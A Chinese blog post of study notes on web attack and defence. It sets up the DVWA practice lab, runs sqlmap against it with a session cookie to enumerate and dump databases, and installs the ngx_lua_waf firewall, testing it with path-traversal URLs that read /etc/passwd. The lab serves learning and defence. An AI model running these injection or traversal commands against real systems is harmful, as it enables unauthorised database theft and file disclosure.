(网络学习)2、web网络攻防相关

沧浪水

课程:浅析SQLmap https://www.imooc.com/video/15394

1、环境搭建

dvwa安装

wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
unzip master.zip -d /home/wwwroot/default/dvwa
cp -p config/config.inc.php.dist config/config.inc.php //修改数据库信息

# 打开浏览器访问:http://192.168.1.111/dvwa/setup.php,
# 看到第三列Database Setup: "admin//password" //记下登录密码

sudo cp /usr/local/php/etc/php.ini /usr/local/php/etc/php.ini.0
sudo vim /usr/local/php/etc/php.ini
修改到浏览器页面的  Setup Check 都是绿色,reCAPTCHA key可以忽略,默认时 + allow\_url\_include + 文件夹+文件写入权限

验证地址:http\://192.168.1.111/dvwa/setup.php

sqlite3安装

sudo apt-get install libsqlite3-dev 
sudo apt-get install sqlite3 

验证命令:
sqlite3、.h、.exit

sqlmap安装

官方参考https://github.com/sqlmapproject/sqlmap

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
mv sqlmap-dev /home/wwwroot/default/sqlmap
cd /home/wwwroot/default/sqlmap
pyenv local system //本文件夹2.7, 3.8运行报错
pyenv versions

验证命令:
python sqlmap.py -h 
python sqlmap.py -hh

2、命令测试

–dbs             枚举数据库管理系统数据库
–tables            枚举的DBMS数据库中的表
–dump            转储数据库表项
–dump-all          转储数据库所有表项
–batch            从不询问用户输入,使用所有默认配置
–smart            进行积极的启发式测试,快速判断为注入的报错点进行注入

具体参考: 《超详细SQLMap使用攻略及技巧分享》simeon//2018-03-19

#打开网页控制台,设置 [DVWA Security]=low,切换到sql注入项,
#获取加u的url和cookieID
cd /home/wwwroot/sqlmap
./sqlmap.py -u "http://192.168.1.111/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie "security=low; PHPSESSID=kibd4jqg824naa41a2h7uch7jh" --dbs

# 显示某库某表的全部数据
./sqlmap.py -u "http://192.168.1.111/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie "security=low; PHPSESSID=kibd4jqg824naa41a2h7uch7jh" \
    -D last12 -T order_queue --dump

#网页切换到XSS(stored)
 ./sqlmap.py -u "http://192.168.1.111/dvwa/vulnerabilities/xss_s/" --cookie="security=low; \
    PHPSESSID=kibd4jqg824naa41a2h7uch7jh" -- \
    data="txtName=11&mtxMessage=22&btnSign=Sign+Guestbook" --dbs 

3、软件防火墙

ngx_lua_waf参考:https://github.com/loveshell/ngx_lua_waf

cd /home/wwwroot/cluster
# 集群其他
sed -ri "s/root\/tmp\/dk/home\/wwwroot\/cluster/g" `grep -rl "root\/tmp\/dk" .`
//把 rec.mysql.sh 端口 3306改为 3307

# 防火墙搭建
mkdir ngx_lua_waf && cp -rp ../openresty.b/* .
git clone https://github.com/loveshell/ngx_lua_waf.git 
cd ngx_lua_waf 
vim conf/waf/config.lua 
# :%s/local\/nginx/local\/openresty\/nginx/g 
//替换成docker内实际路径
vim nginx.conf
# 根据官方,在nginx.conf的http段添加
    lua_package_path "/usr/local/nginx/conf/waf/?.lua";
    lua_shared_dict limit 10m;
    init_by_lua_file  /usr/local/nginx/conf/waf/init.lua; 
    access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;

# 建立logs/hack文件夹,权限777
cp -p ../rec.nginx.sh waf.sh
# 修改目录和端口,启动容器

默认配置下,测试:

http://192.168.1.111:8084/test.php?id=../etc/passwd     //防火墙拦截
http://192.168.1.111:8084/i=../etc/passwd               //404页
http://192.168.1.111:8084/index.html?id=1               //首页
#拦截日志
tailf logs/hack/localhost_2019-12-24_sec.log

实例及数据库代码上传:
https://github.com/cffycls/ngx_lua_waf

阅读 825
90 声望
9 粉丝
0 条评论
90 声望
9 粉丝
文章目录
宣传栏